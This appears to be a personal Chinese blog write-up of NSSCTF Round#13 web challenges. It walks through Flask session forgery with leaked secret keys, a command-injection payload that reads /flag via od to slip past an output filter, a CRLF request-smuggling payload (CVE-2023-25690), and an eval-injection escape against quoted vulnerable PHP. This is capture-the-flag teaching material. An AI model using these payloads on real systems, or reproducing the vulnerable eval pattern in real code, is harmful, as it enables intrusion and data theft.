Z1d10tのBlog

A note for myself,have fun!

  1. 1. flask?jwt?
  2. 2. ez_factors
  3. 3. 信息收集
  4. 4. MyWeb
  5. 5. flask?jwt?(hard)
  6. 6. TimeTrcer

NSSCTFRound#13 Web

flask?jwt?

一道简单的session伪造题目

登录框 找回密码处抓包可以看到key th3f1askisfunny

然后session伪造即可

这里稍微注意一下就是{'_fresh': True, '_id': '265688f22c7df9002e7945b00aed58a7d242ad62b885769d87fd147973f6e663d4e0cdece191e918da66579e1ae54cd9c622333f1832675ef4d8e3f28a66286e', '_user_id': '2'}

以往我们都是将name改为admin即可 这道题目将2改为1即可 改为0的话就是没登录状态

ez_factors

factors是linux自带的一个因式分解命令

img

img

img

发现题目显示的结果与我们在linux执行factor一样 那么猜测这里存在命令执行

img

发现我们执行命令是可以的 读一下/etc/passwd

img

也是有回显的 说明我们命令是执行成功的 但是输出结果过滤掉了除冒号和数字以外的符号

这里注意一下要将我们路径中的斜杠需要url编码一下 防止与url中的反斜杠产生歧义

所以我只要使其输出全部为数字 就能bypass了

这里用到了od命令

img

payload:114514;od%20-t%20d1%20%2Fflag

img

od -t d1的命令解释:img

输出了每个字节按十进制输出

img

注意前面的是序号

78 83 83 67 84 70 123 101 99 52 52 49 102 52 98 45 52 50 48 101 45 52 48 53 55 45 56 51 53 97 45 51 97 50 50 53 102 98 99 56 102 53 57 125 10

将每个十进制转为十六进制然后转为字符串即可

十六进制:4E 53 53 43 54 46 7B 65 63 34 34 31 66 34 62 2D 34 32 30 65 2D 34 30 35 37 2D 38 33 35 61 2D 33 61 32 32 35 66 62 63 38 66 35 39 7D 0A

img

信息收集

这个题目做的很懵逼

访问index.php 有个文件包含

img

payload的是:GET /nssctf/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/flag.txt HTTP/1.1

最终在请求包中达到的效果为:

1
2
3
4
GET /nssctf/1 HTTP/1.1
Host: localhost

GET /flag.txt HTTP/1.1

img

看大佬WP是Apache HTTP Server 请求走私漏洞 CVE-2023-25690 参考:https://xz.aliyun.com/t/12345

还有CRLF注入 参考https://www.cnblogs.com/mysticbinary/p/12560080.html

问了一下GPT 感觉说的很到位

img

比如我们可以bp抓包一下 就可以看到请求体内容结尾都是\r\n结尾的

img

在HTTP当中HTTP的Header和Body之间就是用两个crlf进行分隔的,如果能控制HTTP消息头中的字符,就能注入一些恶意的换行

比如chatGPT在其中恶意添加crlf(\r\n) 再加入一个恶意制造的请求体 导致解析出问题

回到题目 读 /usr/local/apache2/conf/httpd.conf

img

看大佬wp是 做了个proxy转发

img

这也就是为什么payload访问的是localhost 从内部网上的服务器去读flag.txt

MyWeb

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}

类似于一个沙箱逃逸吧 构造特殊的方式来bypass

mode=save 读入 mode=read 读出

主要是: $data = str_replace(']', ", '$value']", $data);利用这个逃逸

我们不输入任何内容直接读一下

img

发现只有一个元素1

这里就类似于构造sql注入一样 构造让[]去闭合再加上注释加换行%0a 相互换来换去 总有一种方式可以

原来形式猜测是[1]

替换后[1,$value]

则我们构造];//%0a<shell>;//%0a[

img

flask?jwt?(hard)

这道就是第一道的加强版 key没有给我们 所以只能去找

发现提示 有个路由/wor

img

发现它可以获取我们上次的登陆时间

当时这里就没有思路了

看了WP 访问/wor让其报错 然后能看到源码中的key

img

key:hardgam3_C0u1d_u_f1ndM3????

这样获取key的方式还是第一次见 涨知识了

接着就是老套路 session伪造获取flag即可

这里session伪造的时候把后面关于时间的数据去掉,或者加上引号,不然会报错

TimeTrcer

放过自己

本文最后更新于 天前,文中所描述的信息可能已发生改变